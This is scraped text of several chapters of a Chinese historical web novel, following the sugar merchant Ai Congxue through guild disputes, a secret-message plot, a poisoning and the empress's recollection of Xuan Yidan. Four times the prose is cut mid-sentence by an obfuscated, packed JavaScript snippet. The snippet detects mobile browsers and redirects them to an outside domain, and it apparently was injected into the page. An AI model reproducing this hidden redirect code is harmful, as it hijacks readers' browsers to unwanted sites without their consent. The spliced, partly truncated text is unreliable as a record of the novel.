一时间供不应求，大的小的酒楼铺子，都来购买，全照着艾从雪定下的一两白银一斤的价格购买。 即使价格高昂，众人依旧趋之若鹜。 “许姐姐，今日入账多少？”艾从雪看着打着算盘的许巧兰询问。 “今日各家共产了数十斤，抢都抢不过来，后面几斤甚至是翻倍卖出去的。算上咱自家产的，预计入账二十四两。” 艾从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515258|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪眉头一皱：“翻倍？谁家翻倍？” 每家入账许巧兰都记得清清楚楚，当即脱口而出：“就那个王老汉呗，他家孙子有病，儿子残了，儿媳改嫁，家里就他一个人养家。” 忽的发现艾从雪面色不对，问道：“怎么了？” “所以他就违反了定下的规矩，翻倍卖出去了那糖？”艾从雪紧皱眉头，“你再说说他家具体情况。” “就是家里靠他一个人养着呗，怎么了？”许巧兰有些不明所以，“糖户们也没反对的，都挺体谅的，左右他制的那点糖也翻不起什么水花。” “不是体不体谅的问题。”艾从雪神情严肃，“开了这头，之后难道谁家惨就要抬价吗？规定的就是规定的，现在规矩立不好，今后所有人都要这样了。” “当时我让他入选已经是仁至义尽。” “那，那怎么办？他现在都已经学到糖霜制法了，把他踢出去，不会坏事吗？” “你是这样想的吗？” 许巧兰头一次见艾从雪如此生气，抿了抿唇，继续道：“其他的糖户肯定也是这样想的。” “学了这糖霜又如何，现在不杀鸡儆猴，今后会有更多的人这样。” “我去把刘二叫来。” 艾从雪看着许巧兰的背影，揉了揉眉头，有些担心自己会不会有些小题大做。 “艾娘子找我何事？”刘二进门问道。 “王老汉，抬价卖糖那事你可知情？” “这……”刘二有些嗫嚅，“知道的，我看他家实在是揭不开锅，他那么大年纪，一个人养一大家子。” “难道一两一斤不挣钱吗？”艾从雪眼睛瞪着刘二，沉声道。 “这不是他家孩子又犯了病，才出此下策。”刘二见艾从雪如此生气，慌了神，低着头。 艾从雪见这情形也无可奈何，问道：“什么病，先前怎么不说？ 罢了，规矩不能废，王老汉自己坏了规矩，告诉他，他被踢出商会了。” “好的。” 被踢出商会不仅代表着被京城糖会拉黑，还代表着不能继续从事制糖行业。 王老汉家境不好，艾从雪也没提不能制糖这事，只是说不能再用艾家方法制糖。 京城糖会得到皇后资助，发展迅速，同时又有不少糖户来入会。 “第二批入会的，入会金十两白银。” 即使是十两，糖户也毫不犹豫地交了出来，生怕进不来这糖会。 京城中制糖的本就没有多少，这些一来，一大半糖户都入了京城糖会。 艾从雪看着这一派欣欣向荣的景象，已经打算着等安稳下来，就亲自坐船去南方挑选甘蔗种类。 这样一来，原料，做法，一条龙全部掌握，再以听雨楼为窗口打响名气，加上胡汉停战，陆路运输贩卖赤糖也是个积累资产的好机会。 既然皇后给了自己这个机会，自己可要好好向上爬，毕竟换个人可不会这么大力扶持女子经商。 如今皇后的野心，艾从雪似有所觉，紧紧抓牢皇后，是一个机遇。 艾从雪眼神一动，想起玄序。 那日玄序可以不上台证明，她也有法子证明自己见过玄序，不过是与玄序撕破脸罢了。 没想到，玄序竟然主动站出来。 艾从雪眼神微眯，具体情况，恐怕还要调查。 25. 阴谋 立冬这天，京城里敲锣打鼓，锣鼓喧天，好不热闹。 街边的房子都挂上红绸。 艾从雪看着遮天蔽日的红绸，心想，这得要多少钱。 没再细想，穿过载歌载舞的人群，走到听雨楼二楼一间包厢。 李迎秋早就在那等着她。 李迎秋坐在窗边，注视着外面种种，眼里是艾从雪看不懂的情绪。 “李娘子。” 直到艾从雪出声唤她的名字，李迎秋才回过神来，轻盈一笑：“来了啊，这次赤糖也随公主的嫁妆一起出塞。” “想必定会赢得他们的喜爱。”艾从雪回以一笑容道。 “胡族喜爱奶制品，不过做法过于腥膻，有了糖，想必会大量购买。” 李迎秋缓缓张口，眉间始终带着一丝解不开的忧愁。 “李娘子不担心胡族再次发起战争？”艾从雪绕了一圈，说起自己的初衷。 李迎秋也并不隐瞒，直言道：“之前是担心的，不过现在听闻胡族老国王将死，内部混乱无比，短时间内不会发动战争。” “只是，苦了燕华。” “公主是殿下侄女，想必继承了殿下的聪明才智，必会无碍的。”艾从雪低头道。 “但愿吧，如今周清，现在是庄图南了，也跟着去了塞外，如此一来，想必不日就会回来的。” 听到这话艾从雪猛地抬起头，李迎秋说这事，莫非？ 她适时的沉默了，好一会儿才说道：“从雪先行告退。” 随后下了楼，正巧看见万柳和李鸣铮二人在楼下。 这会儿万柳看见艾从雪，立刻招呼。 艾从雪点点头，看了看李鸣铮。 万柳立刻会意道：“你一边玩去。” 李鸣铮瞪大眼睛，恶狠狠地看着艾从雪，敢怒不敢言。 万柳与艾从雪进了酒楼内的一间密室。 初次进来时，艾从雪颇为惊异，想来万柳绝非胸无大志之人。 而如今，玄序态度不明，身为他阿姐的万柳却投靠了皇后。让事情更加扑朔迷离。 “阿姐，知道玄序与皇后殿下之事？”艾从雪坐下询问。 万柳没说话，给艾从雪泡了杯听雨楼新推出的果茶，动作行云流水，极为优雅。 待一茶泡好，才开口道：“知道与不知道，都与我无关，我只是想让酒楼更好，亦或者说，我并不认为他们之间有矛盾。” 万柳看着艾从雪思索的模样，轻笑一声：“皇后知道小序母亲的死因。” 艾从雪眼睛瞪大，刚进嘴的茶都没咽下去，好一会儿，才试探道：“皇后杀了玄序母亲？” 随即又摇头否认道：“不对，不可能。” “我知道的不多，但我猜测，皇后定是知情的。” 万柳卖了个关子，才开口道：“小序母亲，听他说，名为玄忆丹。只是不知道是真名假名了。” “再说，小序查案，和我经营酒楼并不冲突。” “玄忆丹？”艾从雪默念这个名字，却没有什么眉目。 “这样看来，玄序和皇后或许会联手？”艾从雪问道。 “不清楚，我只是负责经营好我的酒楼罢了，其余的事，我可是管不着。”万柳站起身说道，在她心里，怕是没有什么比酒楼还要重要的事了。 经此一役，艾从雪也算是安了心，原本那样利用玄序产生的些许愧疚荡然无存。 和万柳一出门，就见到李鸣铮百无聊赖地摆弄着酒楼柱子用来装饰的花。 一见到万柳，双眼放光。 见他这副模样，艾从雪调侃道：“世子那么多日不回家，不会出事吗？” 这一问，让李鸣铮直接拉下了脸，叉腰扬声道：“小爷我没怕过！” 这一声太大，楼下不少食客目光投来。 “你什么时候回家？”万柳也问道。 李鸣铮瞪大眼，满脸不可置信：“你也赶我回家？！” “在我这白吃白喝待那么久，肯定是要钱的。”万柳无所谓道。 “我姐呢？”李鸣铮听见这话，眼看就要哭出来了。推开李迎秋所在的厢房，想要让他姐给自己讨个公道。 谁知道刚推开门，里面却空无一人。 “人呢？” 万柳与艾从雪面面相觑。 听雨楼二楼颇高，李迎秋也并不会武功，怎么会悄无声息的消失？ 万柳当机立断道：“先别声张。鸣铮你先去进宫禀告皇后。” “我现在抽不开身，也不能离开听雨楼。从雪你去外面调查。” 边说着，几人先是在屋中搜查一番。 艾从雪看着桌上的茶盏，伸手触摸，“还是温的。” 万柳则是趴在床边查看，“窗子好好的，没什么线索。” “这是？”艾从雪在桌下发现一朵兰花，“听雨楼有兰花吗？” “酒楼不会放兰花的。” “今日是公主出发之日，却出了这大事。”艾从雪皱紧眉头。 思索着到底是怎么回事。 “我去楼外看看。”说完，艾从雪直接从窗子翻了下去。 吓得万柳不轻，身子越过窗台，喊道：“小心点啊。” 艾从雪则是在楼下看着这视角。 外面的杂物并不杂乱，显然没有经历过打斗或挣扎，另外，当时李鸣铮就在屋外，于情于理都不可能没发现情况。 忽地，艾从雪发现一处不对。“我去去就来。” 说完就径直跑到了城门口。此刻城门口里三层外三层的被人群围住，密不透风，敲锣打鼓，各个欢天喜地。 艾从雪艰难挤到前面，被卫兵拦下，透过缝隙可以看到公主銮驾并无任何不对之处。 她又扫视着整个队伍，目光定在一处马车上。 公主侍从皆坐在这车上。 而那一辆车，并不像坐了人的样子。 艾从雪眼睛一转，抢先一步出了城。 果不其然，庄图南正带着李迎秋站在那。 “怎么也不说一声？”艾从雪看着二人，语气中带着责怪。 “艾娘子莫生气，晚一些，就见不到了。”李迎秋微微笑道。 庄图南则是立马撇清关系，道：“公主的命令。” 艾从雪不可置信的猜测道：“那李娘子也要走？” “只是来看看。”李迎秋听见这话，目露哀伤。 “会回来的。”庄图南瞥了她一眼，说道。 和亲队伍已经走到城门口，李迎秋远远地看着，黯然道：“希望这个时间不会太久。” “我们都是为了一个目标。” “但愿结果是好的。” “回去吧。”李迎秋对着艾从雪道。 “我陪李娘子逛逛，图南你一路保重。”艾从雪看着远处刺目的红色，扯出一抹笑。 “有缘再见。” 李迎秋随艾从雪回听雨楼报安后，便与艾从雪一起出了城。 “听说城郊有处寺庙挺灵验的，李娘子与我一同去？” “艾娘子费心了，那就去吧。”李迎秋眼下可以说对什么都提不起兴趣，胡乱地回应着。 西流寺距离京城不远，不少人都会去参拜，一路上有不少人从山上下来。 艾从雪笑道：“看来是真的灵验。” 李迎秋挑眉，没有否认。 只是每个下山的人，手中都拿着一块木牌，颇为奇怪。 艾从雪拦住一慈眉善目的妇人，问道：“这位姐姐，我看下山的人都拿着这木牌，可是有什么寓意？” 妇人本有些警惕，看了看她俩并不像凶神恶煞之人，才开口道：“这是祈福牌，住持亲自开光的，凡是上香的香客都能领一个。” “能否让妹妹看看？”艾从雪脸上扬起热情的笑容，眉眼弯弯，询问道。 “这……”妇人有些迟疑。 艾从雪审时度势，立刻换了说法：“麻烦姐姐了，是小妹不懂规矩，姐姐莫怪。” 说完盈盈一拜，就要与李迎秋离开。 “也不是不能看。”妇人嘀嘀咕咕，松了口，把木牌递给了艾从雪。 “多谢姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597062|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐了，姐姐真是菩萨心肠，想必定能心想事成的。”艾从雪笑着说完后，才接过木牌。 只是这一看，她的笑容凝在了脸上。 她与李迎秋交换了视线后，把令牌递给了李迎秋。 一向情绪稳定的李迎秋也不由得心中一跳，眼睛瞪大。 艾从雪把木牌交到妇人手上：“多谢姐姐了，可是上香就能得到这木牌？” “对对。”妇人并没有发现对面二人之间氛围的诡异，点点头说道。 告别妇人后，二人三步作两步，紧赶慢赶到了寺中。 不少人跪在蒲团上叩拜，大殿中的小沙弥便会给他们一枚木牌。 艾从雪拉着李迎秋也跟着叩拜，得到木牌后，二人不动声色地放入袖中，往功德箱投入些钱后，便出了大殿。 待远离寺庙后，李迎秋才问道：“这木牌怎么回事？” 原本因燕华和亲而低迷的情绪，此刻早就被冲散。 艾从雪抚摸着木牌上刻着的字，若是普通看的话，这几个字就是普通的祈福字。 但是皇后姓燕，这字就意有所指了。 “李娘子可知这寺庙中有谁吗？”艾从雪深吸一口气，问道。 李迎秋摇摇头，她醉心学术，最多也就是为皇后传递些命令，对于此事却是一概不知。 “先回听雨楼。”艾从雪思索一番后说的。 二人上了马车后，马不停蹄地往听雨楼赶。 车上，艾从雪对比着两枚木牌，显然，雕工技法都是出自一人。 忽地，她手摸到其中一枚令牌后有些轻微不平整。 立刻贴着木牌观察，果不其然，她手中那个木牌有一道微不可察的缝隙。 “李娘子你看。” 艾从雪把木牌斜放，透着光，那道缝隙更为明显。 李迎秋紧紧盯着那方形缝隙：“这是？” “他们要靠这令牌传递消息。” 艾从雪用指甲扣了一下，木牌纹丝不动。 听雨楼则是没一会儿就到了。 一进去，二人就把大堂的万柳喊走。 万柳本看着二人刚想说话，就被拦住了话头，有些不明所以。 “这是怎么了？”上楼途中，万柳不解问道。 二人没有说话，等进了屋内，才把木牌摆出来。 “这是？”万柳拿起木牌，左看右看没发现什么不对。 “阿姐看这上面的字。”艾从雪提醒道。 万柳读出那行字，声音越来越低。 最后惊骇地抬起头，“是谁？” 艾从雪摇摇头：“不知道，只能说幸好还没传开。” “如今殿下还未准备充分，出现这事，这是想让殿下做出头鸟。”李迎秋补充道。 “我带侍卫去把那些东西收了。先把这件事压下去。” “那就先如此。”万柳点头应道。 “既然如此，那我先回庄子看制糖的事了，他们肯想出这法子，必然也是有后手的。”艾从雪思索许久，才开口道。 留万柳与李迎秋处理事务，艾从雪则是回了庄子，最近庄子产量不错，临近过年不少百姓购买赤糖制作年货，亦有许多酒楼茶馆买更贵的糖霜。 艾从雪已经打算等年后再告诉糖户们雪糖的制法，到时候，凭借着这三种糖，以及京城半数糖户的支持，成为京城最大的糖商手到擒来。 正当京城糖会稳步发展时，城里却出现了一种价格更为低廉的糖。 质量与糖会糖户所做的赤糖无差，甚至于说，那糖霜也别无二致，只是价格低廉，比艾从雪规定的价格低了不少。 “有人泄露？”许巧兰发现这事时立刻告诉了艾从雪。 “还没查清楚，如今糖会的糖户一十九户，皆知道赤糖与糖霜做法。”艾从雪细数着这些人的背景。 “先别轻举妄动，否则会引起糖户不满。”艾从雪眯着眼，如今这糖会的糖户与自己绑定，在王老汉被踢出糖会后，她又加了条款，严加约束。 糖户泄露的可能性不大，想来只有那个可能。 26. 中毒 夜色昏暗，艾从雪踩着夜色出现在王老汉家墙角。 屋内没有动静，连盏灯都没点，隔着墙都能闻见王老汉家浓郁苦涩的中药味。 艾从雪蹑手蹑脚翻身上瓦，刚上去就被一人捂住了嘴。 艾从雪瞪大眼睛，手肘后抵，一肘打到后方人的肚子上。 随后一阵苦涩的艾香传入鼻腔，可是已经出去的手肘难以收回来。 玄序闷哼一声，生生吃下这一肘。 艾从雪扭过头，皱着眉头，看向玄序，眼神传递着不解。 玄序想说什么又憋了回去，手指抵唇暗示不要说话。 艾从雪轻轻点头，和玄序一起站在冷风呼啸的屋顶上，一动不动。 不知过了多久，屋内终于传来声音。 “你的方子很不错。”是一个年轻的声音。 艾从雪趴在瓦片上竖着耳朵偷听。 “大人能否按照说好的治好我孙子？” 这是王老汉的声音，艾从雪记得清清楚楚。 “等过些时日，自然会遵守诺言。”青年男子声音清朗，艾从雪心中嘀咕：一副好嗓子，只是可惜办坏事。 忽地，下方传来男子的声音。 “上面各位，出来吧。” 艾从雪与玄序面面相觑——什么时候怎么发现的？ 那人轻笑一声，如玉石敲响：“在下可是早就听到了。” 二人已经暴露，再藏也没有意义。 艾从雪与玄序跳下屋顶，站在男子面前。 男子戴了张面具，遮住整张脸。 而王老汉则是口吐鲜血倒在了地上。 艾从雪呼吸一滞，微微后退半步，被玄序挡住。 她稳住心神出言询问：“你是何目的？” 男子语气轻佻：“与你们一样。” 随后径直离开了屋内，玄序上去拦住，却被紧随而至的暗卫阻挡。 一时间刀光剑影。 艾从雪练了那么多天，也不是白练的，趁玄序在前面缠斗，环视屋内，抓起放在那的铁锨就上去帮忙。 这暗卫各个身怀绝技，玄序寡不敌众，手臂不知被何人划伤，鲜血不断流出，忍着疼痛挡下一击，反身把冲向自己的另一人踢走。 却不曾想后方还有一人手握匕首，就要刺进他的后背。 千钧一发之际，艾从雪手中铁锨凌空一削，寒光截断匕首攻势。 玄序听见动静反应过来，与匕首擦肩而过，只微微擦过面颊，带起一道迤逦的红痕。 紧接着艾从雪手中铁锨直逼暗卫面门，一寸长一寸强，趁着玄序控制住暗卫，生生对着暗卫的头拍了下去。 处理完这一个，还有几个暗卫正虎视眈眈，二人应接不暇，趁乱甩开他们逃之夭夭。 艾从雪还扛着护身的铁锨，扶着树，喘着粗气：“没事吧。” “还好。”玄序撕开衣摆，绑在自己手臂上止血，脸上的血渍早就干涸。 带着几分糜烂的妖艳。 艾从雪轻咳一声，错开视线：“你为什么也在王老汉家？” 玄序并没有发现什么不对劲，碧绿的眸子看着艾从雪，靠在身后的树上：“他与孙群有关系。” “又是孙群。”艾从雪翻了个白眼，“这孙群怎么那么多事，那个面具男是谁你知道吗？” “这人怎么那么诡异，说杀人就杀人。” 想起王老汉倒在地上，血汩汩流出的场景，艾从雪有些反胃。 虽说她不是没见过血腥场面，但是还是第一次见人死在自己面前，她皱紧眉头，握着木杆的手青筋暴起。 “不知道是谁。第一次见。”玄序回忆起面具男的身影，记忆中并无与他相似的人。 艾从雪见玄序也不认识，猜测道：“难不成他是孙群新领导？” “不过，你怎么那么想找到孙群？我找是为了报仇，你找是为了什么？” “也是报仇。”玄序看着艾从雪，眼底是一贯艾从雪看不懂的情绪。 只是这情绪似曾相识，上次二人谈论起有关玄序母亲的事情时，他也是流露出这幅表情。 “罢了，先回去吧，今天这事不好说。”艾从雪直起身，拍了拍衣服上的灰尘道。 玄序紧跟着补充道：“我和你一起。” “真是不常见，也行，跟着我去听雨楼。”艾从雪眉毛一挑，点了点头。 二人从后门悄悄溜进听雨楼。 万柳得到消息，立刻赶了过来。 “这是怎么了？” “和一伙人打起来了。”玄序见万柳如此关心自己，也说不出重话。 万柳边出门边说道，生怕晚一会玄序就要出事：“我先去拿药，你们等一会啊。” 艾从雪坐下倒了杯水送进肚里：“玄大人这是准备和皇后殿下一起了？” “嗯。”玄序没看她，垂眸看着自己胸前的狼牙吊坠出神。 他不懂，为什么皇后不告诉她真相，为什么自己阿娘也不告诉自己真相，他就像一只无头苍蝇。 只知道自己仇人之一是胡族人，其余的一概不知。 之前他要上阵杀敌，被皇后拦下，后来知道赵启是自己父亲，却总是感觉他惺惺作态，皇后也让自己远离他。 他不知道到底要如何，只能守在朝中，当个无足轻重的小官，不断搜集自己母亲死亡真相。 直到孙群辞官，自己担任监察官，他的权利增加，本以为终于能知道自己母亲死亡真相，到头来却依旧是一场空。 最大的线索，不过是孙群。 种种矛头都指向他。 而孙群他曾经是皇后的人，不知怎么又投靠了皇上，他为什么辞官？ 忽地，玄序抬起头，看向艾从雪。 “孙群当初为什么针对艾家？” “嗯？”艾从雪见玄序突然问自己愣了一瞬，随后道：“谁知道，应该是艾家倒霉吧，要不然我就不会自食其力了。” 玄序对于这话显然不认同，声音低沉：“你再想想！” 艾从雪吃软不吃硬，听见这话，吼道：“说了不知道了还问什么问。” 玄序意识到自己太急了，噤了声，许久才开口：“抱歉。” 艾从雪见玄序那么快道歉也歇了火：“没事，我家到底出什么事了，我阿爹应该知道，等我回家的时候问问。” 刚说完，万柳已经拿着金疮药进门。 “快点抹上，别出了事。”万柳把药递给玄序道。 玄序单手解开绑住胳膊的布条，露出狰狞的血肉，打开药瓶，忍着疼痛把药撒在胳膊上。 刹那之间，那伤口溃烂开来。 艾从雪瞪大双眼：“怎么回事？” 万柳吓得说不出话，连忙抢过玄序手中的药。 玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611080|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序眉头紧皱，有些不知所措，还没等他张口，就昏了过去。 “叫大夫！去叫大夫！” 万柳扶着玄序，慌乱地喊道。 艾从雪立刻冲出酒楼，再进来时玄序已然躺到床上。 大夫捋着胡子，摇了摇头：“这毒，老夫无能为力。” “什么毒？” 艾从雪连忙问道。 “从未见过。” 艾从雪想起自己身上在打斗时也有一处划伤。 伤口并不大，也没放在心上，此刻她从桌上拿起金疮药，径直撒上自己的伤口处。 “别！” 万柳话还没说完，药就落到艾从雪胳膊上。 然而过了许久，都没发生类似玄序的问题。 “玄序本身就中过毒？”艾从雪皱着眉头询问。 “没有啊。” “那他都什么时候受过伤？” “我记忆里，没有受过伤吧。”万柳回忆许久才说道。 艾从雪不可置信地看着万柳：“没受过伤？！” “这几年应该没有，小序官职高了，也没什么人触他眉头。” 艾从雪喃喃道：“奇了怪了。” 燕岚得到消息的第一时间就赶到了听雨楼。 也不知道是怎么过来的，艾从雪见到进来的人脱下帷帽时瞳孔一震。 当即跪下行礼。 燕岚心思完全不在这，摆了摆手，就快步走到床前。 身后还跟着个提着药箱的中年女人。 看着床上躺着的玄序，燕岚声音有些许颤抖：“快给小玄诊治。” 中年女人眉头越来越紧，把完脉之后又撑开玄序眼睛仔细观察，动作一顿，随即硬着身体跪下。 “玄大人是……” 燕岚站起身，早就没了皇后的仪态，头上步摇乱晃，堪堪扶住床柱：“快说清楚！” “是当年忆丹小姐所中之毒。”女人头深深埋进地面，声音发闷，但清晰可闻。 艾从雪与万柳对视，双方眼里都是不解，随后视线又挪向床上的玄序。 玄序胸口平稳，略微有起伏。 除却突然昏迷之外，全然不像中毒之态。 只是，他与玄忆丹所中之毒一样？而听太医所言，玄忆丹与燕岚颇为熟悉。 如此，燕岚身为皇后，尊贵无比，又怎么会让玄忆丹沦落流民窟。 艾从雪心中思绪万千。 “怎么解？” 万柳焦急地问出声。 “这……” 女人抬头看向燕岚，面露迟疑。 燕岚叹了口气，坐到床上，闭上了眼睛。 “罢了，怀青你先配药，等醒过来再谈其他的。” 怀青得了命令，迅速调出解药，只是那入药之物，皆含剧毒。 艾从雪先一步拦下来：“这都是些毒药，能救吗？” 燕岚睁开眼，幽深的眸子望向艾从雪，像是透过她看向谁，并没有在意她的无礼。 怀青头都没抬，边配边答：“能。” 紧接着又掰开玄序的嘴把药灌进去。 时间不知道过了多久，几个人仅仅盯着玄序的一举一动。 艾从雪见玄序服完药毫无动静，莫名有些心慌：“他中的是什么毒？” 燕岚瞥了她一眼，轻叹一口气：“娘胎里带的，胡族王室的秘药。” 27. 忆丹 “胡族？”艾从雪面露惊骇。 燕岚对她招招手：“随我来。” 万柳审时度势，立刻把二人引到房间密室。 燕岚走到墙上挂着的山水画前，背对着艾从雪：“你可知近日经常所制之糖出自谁手？” “月来酒楼？” 艾从雪低头盯着皇后的影子。 “正是月来酒楼，我的好哥哥。” 燕岚转过身，影子被拉得老长，伸展到艾从雪脚下。 “我在王老汉那，看见一个戴着面具的男人，是他的手下伤了玄序。” “戴面具的人？” “具体什么样子？” 艾从雪想起那面具人的模样：“身高七尺有余，面具遮住全脸，声音清朗，不知道是否是装出来的。” 忽地，艾从雪声音一顿，想起一抹不易察觉的细节：“从王老汉尸体的伤口来看，他惯用左手！” “左手……”燕岚神色一滞，微微侧头，“常用左手的人可不多见。” “我需要你，艾从雪。” 燕岚一步步走近艾从雪，眼睛盯着她，满是真诚。 “民女想不通，为什么殿下看上了民女。” 艾从雪低头俯身跪拜，问出自己一直想问的话。 “因为，你有能力。” 燕岚拉住艾从雪的胳膊，把她从地上拽起来。 “周清，万柳甚至于说李迎秋，与你有所接触的人，无一不对你称赞。” “小丫告诉我，你对她说过一句话。” 燕岚闭上眼，像是在回忆。 “你说，女人也能称帝。” 艾从雪身体一僵，愣在原地。她原先一直以为燕岚不过是想做个摄政太后，没想到，她的野心那么大。 “当时我就在想，能说出这种话的人到底长什么模样。” 燕岚轻笑一声：“你很像她，不过你比她更大胆。” 燕岚眼中流露出怀念之情，转瞬即逝：“我需要你这样的人。” “如今胡汉通婚，兴许能换来几月安稳。”燕岚坐回座位上，指指身旁的位置，“你也坐。” “是。”艾从雪拱手行礼，坐在了燕岚身旁。 “如此，必会通商。我手下的商队一直在燕恒那里，眼下却是无人能用。” 说到这燕岚看着艾从雪，等待她的回复。 “民女可以去，只是，宴会之时民女已经和皇后站在一起，再去边境恐怕会引起怀疑。” 燕岚十分满意艾从雪的反应：“那就让许巧兰去，我观她的性格，是个老实的，再加上数术不错，想来正是个合适的人选。” “这……”艾从雪有些迟疑，自己可以表态，但是许巧兰的立场她不清楚。 “不用担心，小丫如今在我宫里，也是好吃好喝地养着。” “殿下圣明。” “至于你……”燕岚一顿，慢条斯理地靠在桌案。 “我还有更重要的事安排。” “孙群现在躲在运河北部的棠邑，我让你率一千精兵捉拿，你敢不敢去？” 艾从雪猛地抬起头，倒吸一口冷气。 “敢！” “有胆量！” 燕岚拍了拍艾从雪肩膀，十分欣慰。 “不过这时间会有些长，你需要在棠邑待几个月。至于那个面具人，我会解决的。” 燕岚甩下这句话，推开密室的门，走了出去。 “吱呀。” 随着开门声一起出现的，是初日的光晕，霎时刺破室内阴冷。 燕岚逆光的剪影在石砖上拖得极长，如一把斩开明暗的剑。 而在光影交界处—— 玄序眼睫颤了颤，药气裹着血腥味漫过喉头。 床上的玄序见燕岚过来，闭上眼睛不去看她。 “你当真想知道当年的真相？” 燕岚居高临下地看着玄序。 玄序嘴唇嗫嚅继续，强撑着坐起身：“无论真相如何，我都想知道。” 一旁的艾从雪与万柳见状想要避嫌，却被燕岚拦下：“你们也听听赵启干的好事。” …… 二十多年前 燕岚还未出嫁，燕家家主一脉只留下燕岚燕恒兄妹二人，彼时燕家群狼环伺，都想分一杯羹。 燕家靠商业起家，花黄金千两买下户部尚书一职，经过几十年经营，成为朝堂一大家族，只是后续子嗣凋零，逐渐衰落。 燕岚兄妹就是在这个时候出生的，兄妹二人相依为命，把豺狼虎豹全都赶出了燕家。 一次，燕岚带领商队前往边境通商，不料遭遇风暴，被困在大漠三天三夜。 再醒来时，她出现在一处营帐里，面前是一个意气风发的胡族女子。 燕岚试图说话，但喉咙干涩不已，一发声就如同刀割。 “给！”女子的华朝语言十分生涩，但还是让燕岚有了丝故国的安全感。 她接过女子手中的水壶，不顾什么礼仪，仰头大口吞咽。 “你叫什么？”女子问道，那双碧绿的眼眸带着笑意。 “华朝燕家，燕岚。” “我的华朝名，是玄忆丹。” 玄忆丹三个字对于她来说过于拗口，说了好几遍都没有说清，急得抓住燕岚的手，在燕岚手心写下那三个字。 燕岚在玄忆丹所在的部落待了一个多月，她们一起骑马、放羊、手拉手躺在一望无际的草原。 在她返程前夕，玄忆丹所在的部落阿穆尔和另一个部落乌尤打起来了——为了争得这一片草原所有权。 阿穆尔部落战败，胡族九部不再以阿穆尔部落为王，转而投靠乌尤。 彼时华朝与胡族交好，燕岚被放了出来。 临走时，燕岚偷偷带走了阿穆尔的王女，玄忆丹。 只不过玄忆丹在战败那日就已经服下阿穆尔部落独有的毒药，打算与部落共存亡。 这个毒，只要被铁器所伤，便会昏厥不醒，直到死去。 “你死了还怎么复仇！” 燕岚眼含热泪，声音哽咽。 这一番话，唤回了玄忆丹的理智，她跟随燕岚到了华朝。 燕岚寻遍天下名医良方，都没有找到解毒之法，所幸玄忆丹也并未受任何伤。 后来，为了巩固燕家的地位，燕恒燕岚兄妹选择把宝押在当时尚是皇子的赵启身上。 只是赵启对于玄忆丹一见钟情。 玄忆丹一心只为复仇，自是没有发觉赵启的心思，只觉赵启与燕岚感情颇好。 以至于在燕岚大婚前夕，赵启突然造访时无所察觉。 “三皇子殿下。” 在华朝待了几年的玄忆丹的语言已经不再如与燕岚初见时那般生涩，她恭敬地按照华朝礼仪行礼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634235|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵启却像疯了一般冲过去。 在燕岚发觉不对时，玄忆丹已经离开了燕府。 她找了数年，终于在城外流民窟见到了只剩枯骨的女子。 燕岚对于赵启的恨意愈演愈烈，在那一刻达到了顶峰。 她让自己的手下收养玄序，直到玄序科举及第时才见了他第一面。 很像，玄序长得很像玄忆丹，尤其是那双眼睛。 赵启更是一照面就知道，他一定是自己的孩子，亦或是唯一的孩子。 只不过燕岚没想到，玄忆丹如此决绝，给玄序同样下了毒。 燕岚盯着玄序颈间的玉质狼牙：“这是我送给她的。 阿丹说，想念草原时我与她一起救下的小狼崽。 我们约定好等时局稳固，我陪她回去。” “那小序的毒？”万柳迫切地想要知道玄序所中之毒从何而来。 “阿丹下的，那毒藏在玉器之中可以缓慢侵蚀人体。” 艾从雪深吸一口气，突然之间对玄序多了分怜悯。 他是不被期待的孩子，甚至于说是饱含恨意出生的孩子。 玄序躺在床上一言不发，整个人转瞬之间颓废下去。 燕岚抬起头，手擦了下脸，语气哽咽：“是我的错。” “是我的错，我不该对她隐瞒我的计划。” 怀青扶住摇摇欲坠的燕岚：“殿下，这不能怪您，这十多年来，您日夜忏悔，救下被胡族追杀的奴婢。 更是十年如一日的研究这毒的解药，只为在忆丹娘子的坟前为她解毒，您做得够多了。” 玄序不可置信地看向燕岚，瞳孔乱颤，一口鲜血吐出来。 